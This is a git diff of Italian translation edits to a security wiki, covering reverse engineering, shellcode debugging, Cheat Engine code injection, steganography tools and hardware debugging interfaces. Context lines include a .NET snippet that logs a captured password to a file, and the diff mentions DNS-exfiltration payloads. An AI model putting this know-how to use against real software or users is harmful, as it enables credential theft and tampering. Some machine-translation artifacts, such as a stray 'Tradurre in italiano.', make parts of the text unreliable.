cerchi la prima costante su Google, questo è ciò che ottieni: Pertanto, puoi assumere che la funzione decompilata sia un **calcolatore sha256.**\ Puoi cercare qualsiasi altra costante e otterrai (probabilmente) lo stesso risultato. -### informazioni sui dati +### info sui dati Se il codice non ha alcuna costante significativa, potrebbe essere **in caricamento di informazioni dalla sezione .data**.\ Puoi accedere a quei dati, **raggruppare il primo dword** e cercarlo su Google come abbiamo fatto nella sezione precedente: @@ -64,13 +64,13 @@ In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **t È composto da 3 parti principali: - **Fase di inizializzazione/**: Crea una **tabella di valori da 0x00 a 0xFF** (256 byte in totale, 0x100). Questa tabella è comunemente chiamata **Substitution Box** (o SBox). -- **Fase di mescolamento**: Eseguirà un **ciclo attraverso la tabella** creata prima (ciclo di 0x100 iterazioni, di nuovo) modificando ciascun valore con byte **semi-casuali**. Per creare questi byte semi-casuali, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **tra 1 e 256 byte di lunghezza**, tuttavia di solito si raccomanda che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte. +- **Fase di mescolamento**: **Ciclerà attraverso la tabella** creata prima (ciclo di 0x100 iterazioni, di nuovo) modificando ciascun valore con byte **semi-casuali**. Per creare questi byte semi-casuali, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **tra 1 e 256 byte di lunghezza**, tuttavia si raccomanda generalmente che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte. - **Fase XOR**: Infine, il testo in chiaro o il testo cifrato è **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **ciclo attraverso i 256 byte creati** tante volte quanto necessario. Questo è solitamente riconosciuto in un codice decompilato con un **%256 (mod 256)**. > [!NOTE] > **Per identificare un RC4 in un codice disassemblato/decompilato puoi controllare 2 cicli di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 cicli probabilmente usando un %256 (mod 256)** -### **Fase di Inizializzazione/Sostituzione Box:** (Nota il numero 256 usato come contatore e come uno 0 è scritto in ciascun posto dei 256 caratteri) +### **Fase di Inizializzazione/Substitution Box:** (Nota il numero 256 usato come contatore e come uno 0 è scritto in ciascun posto dei 256 caratteri) ![](<../../images/image (377).png>) @@ -108,7 +108,7 @@ Nota anche la **dimensione del ciclo** (**132**) e il **numero di operazioni XOR ![](<../../images/image (381).png>) -Come accennato in precedenza, questo codice può essere visualizzato all'interno di qualsiasi decompilatore come una **funzione molto lunga** poiché **non ci sono salti** al suo interno. Il codice decompilato può apparire come segue: +Come è stato menzionato prima, questo codice può essere visualizzato all'interno di qualsiasi decompilatore come una **funzione molto lunga** poiché **non ci sono salti** al suo interno. Il codice decompilato può apparire come segue: ![](<../../images/image (382).png>) @@ -157,7 +157,7 @@ Nota l'uso di più costanti ### Identificare -Controlla **le costanti della tabella di ricerca**: +Controlla **costanti della tabella di ricerca**: ![](<../../images/image (387).png>) diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md index c648906c0..c98bd40c9 100644 --- a/src/reversing/reversing-tools-basic-methods/README.md +++ b/src/reversing/reversing-tools-basic-methods/README.md @@ -55,7 +55,7 @@ File.AppendAllText(path, "Password: " + password + "\n"); ``` ### Debugging con DNSpy -Per eseguire il debug del codice utilizzando DNSpy è necessario: +Per eseguire il debug del codice utilizzando DNSpy, è necessario: Innanzitutto, modificare gli **attributi dell'Assembly** relativi al **debugging**: @@ -63,7 +63,7 @@ Innanzitutto, modificare gli **attributi dell'Assembly** relativi al **debugging ```aspnet [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] ``` -Non c'è testo da tradurre. +Tradurre in italiano. ``` [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | @@ -125,7 +125,7 @@ Fai clic con il tasto destro su qualsiasi modulo in **Assembly Explorer** e clic ![](<../../images/image (704).png>) -Poi, quando inizi a fare debug **l'esecuzione si fermerà quando ogni DLL viene caricata**, quindi, quando rundll32 carica la tua DLL, l'esecuzione si fermerà. +Poi, quando inizi a fare il debug **l'esecuzione si fermerà quando ogni DLL viene caricata**, quindi, quando rundll32 carica la tua DLL, l'esecuzione si fermerà. Ma, come puoi arrivare al codice della DLL che è stata caricata? Usando questo metodo, non so come. @@ -174,7 +174,7 @@ blobrunner.md ### Debugging di uno shellcode con jmp2it -[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)è molto simile a blobrunner. **Allochera** lo **shellcode** all'interno di uno spazio di memoria e avvierà un **ciclo eterno**. Devi quindi **attaccare il debugger** al processo, **premere start, attendere 2-5 secondi e premere stop** e ti troverai all'interno del **ciclo eterno**. Salta alla prossima istruzione del ciclo eterno poiché sarà una chiamata allo shellcode, e infine ti troverai ad eseguire lo shellcode. +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) è molto simile a blobrunner. **Allochera** lo **shellcode** all'interno di uno spazio di memoria e avvierà un **ciclo eterno**. Devi quindi **attaccare il debugger** al processo, **premere start, attendere 2-5 secondi e premere stop** e ti troverai all'interno del **ciclo eterno**. Salta alla prossima istruzione del ciclo eterno poiché sarà una chiamata allo shellcode, e infine ti troverai ad eseguire lo shellcode. ![](<../../images/image (509).png>) @@ -214,15 +214,15 @@ scDbg dispone anche di un launcher grafico dove puoi selezionare le opzioni desi ![](<../../images/image (258).png>) -L'opzione **Create Dump** eseguirà il dump del shellcode finale se viene apportata qualche modifica al shellcode dinamicamente in memoria (utile per scaricare il shellcode decodificato). L'**start offset** può essere utile per avviare il shellcode a un offset specifico. L'opzione **Debug Shell** è utile per eseguire il debug del shellcode utilizzando il terminale scDbg (tuttavia, trovo che nessuna delle opzioni spiegate prima sia migliore per questo scopo, poiché sarai in grado di utilizzare Ida o x64dbg). +L'opzione **Create Dump** eseguirà il dump del shellcode finale se viene apportata una modifica al shellcode dinamicamente in memoria (utile per scaricare il shellcode decodificato). L'**offset di avvio** può essere utile per avviare il shellcode a un offset specifico. L'opzione **Debug Shell** è utile per eseguire il debug del shellcode utilizzando il terminale scDbg (tuttavia, trovo che nessuna delle opzioni spiegate prima sia migliore per questo scopo, poiché sarai in grado di utilizzare Ida o x64dbg). -### Disassemblare usando CyberChef +### Disassemblaggio usando CyberChef Carica il tuo file shellcode come input e usa la seguente ricetta per decompilarlo: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)]() ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) -Questo offuscatore **modifica tutte le istruzioni per `mov`** (sì, davvero figo). Utilizza anche interruzioni per cambiare i flussi di esecuzione. Per ulteriori informazioni su come funziona: +Questo offuscante **modifica tutte le istruzioni per `mov`** (sì, davvero figo). Utilizza anche interruzioni per cambiare i flussi di esecuzione. Per ulteriori informazioni su come funziona: - [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY) - [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) @@ -232,7 +232,7 @@ Se sei fortunato, [demovfuscator](https://github.com/kirschju/demovfuscator) deo apt-get install libcapstone-dev apt-get install libz3-dev ``` -E [installa keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) +E [install keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) Se stai giocando a un **CTF, questa soluzione per trovare il flag** potrebbe essere molto utile: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) @@ -253,7 +253,7 @@ Se devi fare reverse engineering di un binario Delphi ti consiglio di usare il p Premi semplicemente **ATL+f7** (importa il plugin python in IDA) e seleziona il plugin python. -Questo plugin eseguirà il binario e risolverà i nomi delle funzioni dinamicamente all'inizio del debug. Dopo aver avviato il debug premi di nuovo il pulsante Start (quello verde o f9) e un breakpoint verrà attivato all'inizio del codice reale. +Questo plugin eseguirà il binario e risolverà i nomi delle funzioni dinamicamente all'inizio del debug. Dopo aver avviato il debug premi di nuovo il pulsante Start (quello verde o f9) e un breakpoint si attiverà all'inizio del codice reale. È anche molto interessante perché se premi un pulsante nell'applicazione grafica il debugger si fermerà nella funzione eseguita da quel pulsante. @@ -265,7 +265,7 @@ Premi semplicemente **ATL+f7** (importa il plugin python in IDA) e seleziona il Questo risolverà i nomi delle funzioni. -## Python Compilato +## Compiled Python In questa pagina puoi trovare come ottenere il codice python da un binario python compilato ELF/EXE: @@ -369,7 +369,7 @@ DAT_030000d8 = DAT_030000d8 + 0x3a; Nel codice precedente puoi vedere che stiamo confrontando **uVar1** (il luogo dove si trova **il valore del pulsante premuto**) con alcuni valori: - Prima, viene confrontato con il **valore 4** (**pulsante SELECT**): In questa sfida questo pulsante cancella lo schermo -- Poi, viene confrontato con il **valore 8** (**pulsante START**): In questa sfida questo verifica se il codice è valido per ottenere il flag. +- Poi, viene confrontato con il **valore 8** (**pulsante START**): In questa sfida verifica se il codice è valido per ottenere il flag. - In questo caso la var **`DAT_030000d8`** viene confrontata con 0xf3 e se il valore è lo stesso viene eseguito del codice. - In tutti gli altri casi, viene controllato un cont (`DAT_030000d4`). È un cont perché aggiunge 1 subito dopo essere entrato nel codice.\ **Se** è inferiore a 8 viene eseguita un'operazione che coinvolge **l'aggiunta** di valori a \*\*`DAT_030000d8` \*\* (fondamentalmente sta aggiungendo i valori dei tasti premuti in questa variabile finché il cont è inferiore a 8). diff --git a/src/reversing/reversing-tools-basic-methods/angr/README.md b/src/reversing/reversing-tools-basic-methods/angr/README.md index 5a1971b47..ad0e187ee 100644 --- a/src/reversing/reversing-tools-basic-methods/angr/README.md +++ b/src/reversing/reversing-tools-basic-methods/angr/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Parte di questo cheatsheet si basa sulla [documentazione di angr](https://docs.angr.io/_/downloads/en/stable/pdf/). +Parte di questo cheatsheet si basa sulla [angr documentation](https://docs.angr.io/_/downloads/en/stable/pdf/). # Installazione ```bash @@ -184,7 +184,7 @@ True >>> proj.is_hooked(0x20000) True ``` -Inoltre, puoi usare `proj.hook_symbol(name, hook)`, fornendo il nome di un simbolo come primo argomento, per agganciare l'indirizzo in cui si trova il simbolo +Inoltre, puoi utilizzare `proj.hook_symbol(name, hook)`, fornendo il nome di un simbolo come primo argomento, per agganciare l'indirizzo in cui si trova il simbolo # Esempi diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md index 83e6d6a50..81992a404 100644 --- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md +++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -[**Cheat Engine**](https://www.cheatengine.org/downloads.php) è un programma utile per trovare dove vengono salvati valori importanti nella memoria di un gioco in esecuzione e modificarli.\ +[**Cheat Engine**](https://www.cheatengine.org/downloads.php) è un programma utile per trovare dove vengono salvati valori importanti all'interno della memoria di un gioco in esecuzione e modificarli.\ Quando lo scarichi e lo esegui, ti viene **presentato** un **tutorial** su come utilizzare lo strumento. Se vuoi imparare a usare lo strumento, è altamente consigliato completarlo. ## Cosa stai cercando? @@ -59,13 +59,13 @@ Cheat Engine cercherà i **valori** che **sono passati da 100 al nuovo valore**. ### Valore sconosciuto, cambiamento noto -Nello scenario in cui **non conosci il valore** ma sai **come farlo cambiare** (e persino il valore del cambiamento), puoi cercare il tuo numero. +Nello scenario in cui **non conosci il valore** ma sai **come farlo cambiare** (e anche il valore del cambiamento), puoi cercare il tuo numero. Quindi, inizia eseguendo una scansione di tipo "**Valore iniziale sconosciuto**": ![](<../../images/image (890).png>) -Poi, fai cambiare il valore, indica **come** il **valore** **è cambiato** (nel mio caso è diminuito di 1) ed esegui una **scansione successiva**: +Poi, fai cambiare il valore, indica **come** il **valore** **è cambiato** (nel mio caso è diminuito di 1) e esegui una **scansione successiva**: ![](<../../images/image (371).png>) @@ -98,7 +98,7 @@ Ora che hai trovato l'indirizzo che modifica il valore, puoi **modificare il cod ![](<../../images/image (1057).png>) -Quindi, ora puoi modificarlo affinché il codice non influisca sul tuo numero, o influisca sempre in modo positivo. +Quindi, ora puoi modificarlo in modo che il codice non influisca sul tuo numero, o influisca sempre in modo positivo. ### Indirizzo di memoria casuale - Trovare il puntatore @@ -133,12 +133,12 @@ Ora, ogni volta che modifichi quel valore, stai **modificando il valore importan L'iniezione di codice è una tecnica in cui inietti un pezzo di codice nel processo target e poi reindirizzi l'esecuzione del codice per passare attraverso il tuo codice scritto (come darti punti invece di sottrarli). -Quindi, immagina di aver trovato l'indirizzo che sottrae 1 dalla vita del tuo giocatore: +Quindi, immagina di aver trovato l'indirizzo che sta sottraendo 1 dalla vita del tuo giocatore: ![](<../../images/image (203).png>) Fai clic su Mostra disassemblatore per ottenere il **codice disassemblato**.\ -Poi, fai clic su **CTRL+a** per invocare la finestra di Auto assemble e seleziona _**Modello --> Iniezione di codice**_ +Poi, fai clic su **CTRL+a** per invocare la finestra di Auto assemble e seleziona _**Template --> Iniezione di codice**_ ![](<../../images/image (902).png>) @@ -146,7 +146,7 @@ Compila l'**indirizzo dell'istruzione che vuoi modificare** (questo di solito vi ![](<../../images/image (744).png>) -Verrà generato un modello: +Verrà generato un template: ![](<../../images/image (944).png>) diff --git a/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md b/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md index 35e965ccd..6f512c306 100644 --- a/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md +++ b/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md @@ -1,10 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} -Fondamentalmente, questo strumento ci aiuterà a trovare valori per variabili che devono soddisfare alcune condizioni e calcolarli a mano sarebbe molto fastidioso. Pertanto, puoi indicare a Z3 le condizioni che le variabili devono soddisfare e troverà alcuni valori (se possibile). +Molto semplicemente, questo strumento ci aiuterà a trovare valori per variabili che devono soddisfare alcune condizioni e calcolarli a mano sarebbe molto fastidioso. Pertanto, puoi indicare a Z3 le condizioni che le variabili devono soddisfare e troverà alcuni valori (se possibile). **Alcuni testi ed esempi sono estratti da [https://ericpony.github.io/z3py-tutorial/guide-examples.htm](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)** -# Operazioni di Base +# Operazioni di base ## Booleans/E/O/Non ```python @@ -55,9 +55,9 @@ print ("x = %s" % m[x]) for d in m.decls(): print("%s = %s" % (d.name(), m[d])) ``` -# Aritmetica della Macchina +# Aritmetica Macchinistica -Le CPU moderne e i linguaggi di programmazione più diffusi utilizzano l'aritmetica su **vettori di bit di dimensione fissa**. L'aritmetica della macchina è disponibile in Z3Py come **Vettori di Bit**. +Le CPU moderne e i linguaggi di programmazione mainstream utilizzano l'aritmetica su **vettori di bit a dimensione fissa**. L'aritmetica macchinistica è disponibile in Z3Py come **Vettori di Bit**. ```python from z3 import * @@ -94,7 +94,7 @@ solve(ULT(x, 0)) ``` ## Funzioni -**Funzioni interpretate** come l'aritmetica dove la **funzione +** ha un'**interpretazione standard fissa** (aggiunge due numeri). **Funzioni non interpretate** e costanti sono **massimamente flessibili**; consentono **qualsiasi interpretazione** che sia **coerente** con i **vincoli** sulla funzione o costante. +**Funzioni interpretate** come l'aritmetica dove la **funzione +** ha una **interpretazione standard fissa** (aggiunge due numeri). **Funzioni non interpretate** e costanti sono **massimamente flessibili**; consentono **qualsiasi interpretazione** che sia **coerente** con i **vincoli** sulla funzione o costante. Esempio: f applicata due volte a x restituisce di nuovo x, ma f applicata una volta a x è diversa da x. ```python diff --git a/src/reversing/reversing-tools/README.md b/src/reversing/reversing-tools/README.md index abb43981d..adb8146e8 100644 --- a/src/reversing/reversing-tools/README.md +++ b/src/reversing/reversing-tools/README.md @@ -39,9 +39,9 @@ File.AppendAllText(path, "Password: " + password + "\n"); Per un debugging efficace con DNSpy, si raccomanda una sequenza di passaggi per regolare gli **attributi dell'Assembly** per il debugging, assicurandosi che le ottimizzazioni che potrebbero ostacolare il debugging siano disabilitate. Questo processo include la modifica delle impostazioni di `DebuggableAttribute`, la ricompilazione dell'assembly e il salvataggio delle modifiche. -Inoltre, per eseguire il debug di un'applicazione .Net eseguita da **IIS**, eseguire `iisreset /noforce` riavvia IIS. Per allegare DNSpy al processo IIS per il debugging, la guida istruisce su come selezionare il processo **w3wp.exe** all'interno di DNSpy e avviare la sessione di debugging. +Inoltre, per eseguire il debug di un'applicazione .Net eseguita da **IIS**, eseguire `iisreset /noforce` riavvia IIS. Per allegare DNSpy al processo IIS per il debugging, la guida istruisce sulla selezione del processo **w3wp.exe** all'interno di DNSpy e sull'avvio della sessione di debugging. -Per una visione completa dei moduli caricati durante il debugging, è consigliato accedere alla finestra **Moduli** in DNSpy, seguita dall'apertura di tutti i moduli e dall'ordinamento degli assembly per una navigazione e un debugging più facili. +Per una visione completa dei moduli caricati durante il debugging, è consigliato accedere alla finestra **Moduli** in DNSpy, seguita dall'apertura di tutti i moduli e dalla ordinazione degli assembly per una navigazione e un debugging più facili. Questa guida racchiude l'essenza della decompilazione di WebAssembly e .Net, offrendo un percorso per gli sviluppatori per affrontare questi compiti con facilità. @@ -58,12 +58,12 @@ Per decompilare bytecode Java, questi strumenti possono essere molto utili: - **Rundll32** viene caricato da percorsi specifici per le versioni a 64 bit e a 32 bit. - **Windbg** è selezionato come debugger con l'opzione di sospendere il caricamento/scaricamento della libreria abilitata. -- I parametri di esecuzione includono il percorso DLL e il nome della funzione. Questa configurazione interrompe l'esecuzione al caricamento di ogni DLL. +- I parametri di esecuzione includono il percorso della DLL e il nome della funzione. Questa configurazione interrompe l'esecuzione al caricamento di ogni DLL. ### Utilizzando x64dbg/x32dbg - Simile a IDA, **rundll32** viene caricato con modifiche alla riga di comando per specificare la DLL e la funzione. -- Le impostazioni vengono regolate per interrompere all'ingresso della DLL, consentendo di impostare un breakpoint nel punto di ingresso desiderato della DLL. +- Le impostazioni vengono regolate per interrompere all'ingresso della DLL, consentendo di impostare un punto di interruzione nel punto di ingresso desiderato della DLL. ### Immagini @@ -90,7 +90,7 @@ scdbg.exe -f shellcode # Informazioni di base scdbg.exe -f shellcode -r # Rapporto di analisi scdbg.exe -f shellcode -i -r # Hook interattivi scdbg.exe -f shellcode -d # Dump del shellcode decodificato -scdbg.exe -f shellcode /findsc # Trova offset di inizio +scdbg.exe -f shellcode /findsc # Trova l'offset di partenza scdbg.exe -f shellcode /foff 0x0000004D # Esegui dall'offset %%% diff --git a/src/reversing/reversing-tools/blobrunner.md b/src/reversing/reversing-tools/blobrunner.md index 2d839519d..d988e41ef 100644 --- a/src/reversing/reversing-tools/blobrunner.md +++ b/src/reversing/reversing-tools/blobrunner.md @@ -1,7 +1,7 @@ {{#include ../../banners/hacktricks-training.md}} -L'unica riga modificata dal [codice originale](https://github.com/OALabs/BlobRunner) è la riga 10. -Per compilarlo, **crea un progetto C/C++ in Visual Studio Code, copia e incolla il codice e costruiscilo**. +L'unica riga modificata del [codice originale](https://github.com/OALabs/BlobRunner) è la riga 10. +Per compilarlo, **crea semplicemente un progetto C/C++ in Visual Studio Code, copia e incolla il codice e costruiscilo**. ```c #include #include diff --git a/src/reversing/word-macros.md b/src/reversing/word-macros.md index e9326f434..35184b25b 100644 --- a/src/reversing/word-macros.md +++ b/src/reversing/word-macros.md @@ -4,14 +4,14 @@ ### Junk Code -È molto comune trovare **codice spazzatura che non viene mai utilizzato** per rendere più difficile il reversing del macro.\ +È molto comune trovare **codice spazzatura che non viene mai utilizzato** per rendere più difficile il reversing della macro.\ Ad esempio, nell'immagine seguente puoi vedere che un If che non sarà mai vero viene utilizzato per eseguire del codice spazzatura e inutile. ![](<../images/image (369).png>) ### Macro Forms -Utilizzando la funzione **GetObject** è possibile ottenere dati dai moduli del macro. Questo può essere usato per rendere difficile l'analisi. La seguente è una foto di un modulo macro utilizzato per **nascondere dati all'interno di caselle di testo** (una casella di testo può nascondere altre caselle di testo): +Utilizzando la funzione **GetObject** è possibile ottenere dati dai moduli della macro. Questo può essere usato per rendere difficile l'analisi. La seguente è una foto di un modulo macro utilizzato per **nascondere dati all'interno di caselle di testo** (una casella di testo può nascondere altre caselle di testo): ![](<../images/image (344).png>) diff --git a/src/stego/stego-tricks.md b/src/stego/stego-tricks.md index 93d0357ba..d824c9658 100644 --- a/src/stego/stego-tricks.md +++ b/src/stego/stego-tricks.md @@ -6,7 +6,7 @@ ### **Binwalk** -Uno strumento per cercare file binari per file e dati nascosti incorporati. È installato tramite `apt` e il suo codice sorgente è disponibile su [GitHub](https://github.com/ReFirmLabs/binwalk). +Uno strumento per cercare file binari per file e dati nascosti incorporati. È installato tramite `apt` e il suo sorgente è disponibile su [GitHub](https://github.com/ReFirmLabs/binwalk). ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data @@ -74,7 +74,7 @@ Per tentare di riparare un'immagine danneggiata, aggiungere un commento nei meta ``` ### **Steghide per la Cancellazione dei Dati** -Steghide facilita la nascita di dati all'interno di file `JPEG, BMP, WAV e AU`, capace di incorporare ed estrarre dati crittografati. L'installazione è semplice utilizzando `apt`, e il suo [codice sorgente è disponibile su GitHub](https://github.com/StefanoDeVuono/steghide). +Steghide facilita la nascosta dei dati all'interno di file `JPEG, BMP, WAV e AU`, capace di incorporare ed estrarre dati crittografati. L'installazione è semplice utilizzando `apt`, e il suo [codice sorgente è disponibile su GitHub](https://github.com/StefanoDeVuono/steghide). **Comandi:** @@ -104,7 +104,7 @@ zsteg si specializza nel rivelare dati nascosti in file PNG e BMP. L'installazio **Stegsolve** applica vari filtri di colore per rivelare testi o messaggi nascosti all'interno delle immagini. È disponibile su [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). -### **FFT per la rilevazione di contenuti nascosti** +### **FFT per la Rilevazione di Contenuti Nascosti** Le tecniche di Fast Fourier Transform (FFT) possono svelare contenuti nascosti nelle immagini. Risorse utili includono: @@ -139,7 +139,7 @@ Per ulteriori esplorazioni, considera di visitare: ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide è uno strumento versatile progettato per nascondere dati in file JPEG, BMP, WAV e AU. I dettagli sono forniti nella [documentazione sui trucchi stego](stego-tricks.md#steghide). +Steghide è uno strumento versatile progettato per nascondere dati in file JPEG, BMP, WAV e AU. Istruzioni dettagliate sono fornite nella [documentazione sui trucchi stego](stego-tricks.md#steghide). ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** @@ -169,13 +169,13 @@ Uno strumento prezioso per l'ispezione visiva e analitica dei file audio, Sonic ### **DTMF Tones - Dial Tones** -La rilevazione dei toni DTMF nei file audio può essere effettuata tramite strumenti online come [questo rilevatore DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html). +La rilevazione dei toni DTMF nei file audio può essere ottenuta tramite strumenti online come [questo rilevatore DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html). ## **Altre Tecniche** ### **Binary Length SQRT - QR Code** -I dati binari che si elevano al quadrato per ottenere un numero intero potrebbero rappresentare un codice QR. Usa questo frammento per controllare: +I dati binari che si elevano al quadrato per diventare un numero intero potrebbero rappresentare un codice QR. Usa questo frammento per controllare: ```python import math math.sqrt(2500) #50 diff --git a/src/todo/burp-suite.md b/src/todo/burp-suite.md index 2341ae77a..95e47b538 100644 --- a/src/todo/burp-suite.md +++ b/src/todo/burp-suite.md @@ -5,7 +5,7 @@ - **Elenco Semplice:** Solo un elenco contenente un'entrata in ogni riga - **File Runtime:** Un elenco letto in runtime (non caricato in memoria). Per supportare elenchi grandi. - **Modifica del Caso:** Applica alcune modifiche a un elenco di stringhe (Nessuna modifica, in minuscolo, in MAIUSCOLO, in Nome Proprio - Prima lettera maiuscola e il resto in minuscolo-, in Nome Proprio - Prima lettera maiuscola e il resto rimane lo stesso-). -- **Numeri:** Genera numeri da X a Y usando Z passi o casualmente. +- **Numeri:** Genera numeri da X a Y usando Z come passo o casualmente. - **Brute Forcer:** Insieme di caratteri, lunghezza minima e massima. [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload per eseguire comandi e acquisire l'output tramite richieste DNS a burpcollab. diff --git a/src/todo/hardware-hacking/README.md b/src/todo/hardware-hacking/README.md index 6de84f473..e9745902f 100644 --- a/src/todo/hardware-hacking/README.md +++ b/src/todo/hardware-hacking/README.md @@ -4,7 +4,7 @@ ## JTAG -JTAG consente di eseguire una scansione dei confini. La scansione dei confini analizza alcuni circuiti, inclusi i celle di scansione dei confini incorporati e i registri per ogni pin. +JTAG consente di eseguire una scansione dei confini. La scansione dei confini analizza alcuni circuiti, inclusi i circuiti integrati di scansione e i registri incorporati per ogni pin. Lo standard JTAG definisce **comandi specifici per condurre scansioni dei confini**, inclusi i seguenti: @@ -27,7 +27,7 @@ Le scansioni dei confini includono test del **Test Access Port (TAP)** a quattro - Test mode select (**TMS**) input TMS controlla la **macchina a stati finiti**. Ad ogni battito del clock, il controller TAP JTAG del dispositivo controlla la tensione sul pin TMS. Se la tensione è al di sotto di una certa soglia, il segnale è considerato basso e interpretato come 0, mentre se la tensione è al di sopra di una certa soglia, il segnale è considerato alto e interpretato come 1. - Test data input (**TDI**) TDI è il pin che invia **dati nel chip attraverso le celle di scansione**. Ogni fornitore è responsabile della definizione del protocollo di comunicazione su questo pin, poiché JTAG non lo definisce. - Test data output (**TDO**) TDO è il pin che invia **dati fuori dal chip**. -- Test reset (**TRST**) input Il TRST opzionale ripristina la macchina a stati finiti **a uno stato noto buono**. In alternativa, se il TMS è mantenuto a 1 per cinque cicli di clock consecutivi, invoca un reset, nello stesso modo in cui farebbe il pin TRST, motivo per cui TRST è opzionale. +- Test reset (**TRST**) input Il TRST opzionale ripristina la macchina a stati finiti **a uno stato noto buono**. In alternativa, se il TMS è mantenuto a 1 per cinque cicli di clock consecutivi, invoca un ripristino, nello stesso modo in cui farebbe il pin TRST, motivo per cui TRST è opzionale. A volte sarai in grado di trovare quei pin contrassegnati nel PCB. In altre occasioni potresti dover **trovarli**. @@ -41,12 +41,12 @@ Un modo più economico ma molto più lento per identificare i pin JTAG è utiliz Utilizzando **JTAGenum**, dovresti prima **definire i pin del dispositivo di sondaggio** che utilizzerai per l'enumerazione. Dovresti fare riferimento al diagramma dei pin del dispositivo e poi collegare questi pin ai punti di test sul tuo dispositivo target. -Un **terzo modo** per identificare i pin JTAG è **ispezionare il PCB** per uno dei pinout. In alcuni casi, i PCB potrebbero fornire convenientemente l'**interfaccia Tag-Connect**, che è un chiaro indicatore che la scheda ha anche un connettore JTAG. Puoi vedere come appare quell'interfaccia su [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Inoltre, ispezionare i **datasheet dei chip sui PCB** potrebbe rivelare diagrammi dei pin che indicano interfacce JTAG. +Un **terzo modo** per identificare i pin JTAG è **ispezionare il PCB** per uno dei pinout. In alcuni casi, i PCB potrebbero fornire convenientemente l'**interfaccia Tag-Connect**, che è un chiaro indicatore che la scheda ha anche un connettore JTAG. Puoi vedere come appare quell'interfaccia su [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Inoltre, ispezionare i **datasheet dei chip sul PCB** potrebbe rivelare diagrammi dei pin che indicano interfacce JTAG. ## SDW SWD è un protocollo specifico per ARM progettato per il debug. -L'interfaccia SWD richiede **due pin**: un segnale bidirezionale **SWDIO**, che è l'equivalente dei pin **TDI e TDO** di JTAG e un clock, e **SWCLK**, che è l'equivalente di **TCK** in JTAG. Molti dispositivi supportano il **Serial Wire o JTAG Debug Port (SWJ-DP)**, un'interfaccia combinata JTAG e SWD che ti consente di collegare un sondaggio SWD o JTAG al target. +L'interfaccia SWD richiede **due pin**: un segnale bidirezionale **SWDIO**, che è l'equivalente dei pin **TDI e TDO di JTAG** e un clock, e **SWCLK**, che è l'equivalente di **TCK** in JTAG. Molti dispositivi supportano il **Serial Wire o JTAG Debug Port (SWJ-DP)**, un'interfaccia combinata JTAG e SWD che ti consente di collegare un sondino SWD o JTAG al target. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/i2c.md b/src/todo/hardware-hacking/i2c.md index 52f363d7b..3571c0a04 100644 --- a/src/todo/hardware-hacking/i2c.md +++ b/src/todo/hardware-hacking/i2c.md @@ -4,7 +4,7 @@ ## Bus Pirate -Per testare se un Bus Pirate funziona, collegare +5V con VPU e 3.3V con ADC e accedere al bus pirate (utilizzando Tera Term ad esempio) e usare il comando `~`: +Per testare se un Bus Pirate funziona, collegare +5V con VPU e 3.3V con ADC e accedere al bus pirate (Usando Tera Term ad esempio) e utilizzare il comando `~`: ```bash # Use command HiZ>~ @@ -43,7 +43,7 @@ Any key to exit #Press space Found 0 errors. ``` -Come puoi vedere nella riga di comando precedente, è stato detto che non sono stati trovati errori. Questo è molto utile per sapere se funziona dopo averlo acquistato o dopo aver aggiornato un firmware. +Come puoi vedere nella riga di comando precedente, è stato detto che non sono stati trovati errori. Questo è molto utile per sapere che funziona dopo averlo acquistato o dopo aver aggiornato un firmware. Per connetterti con 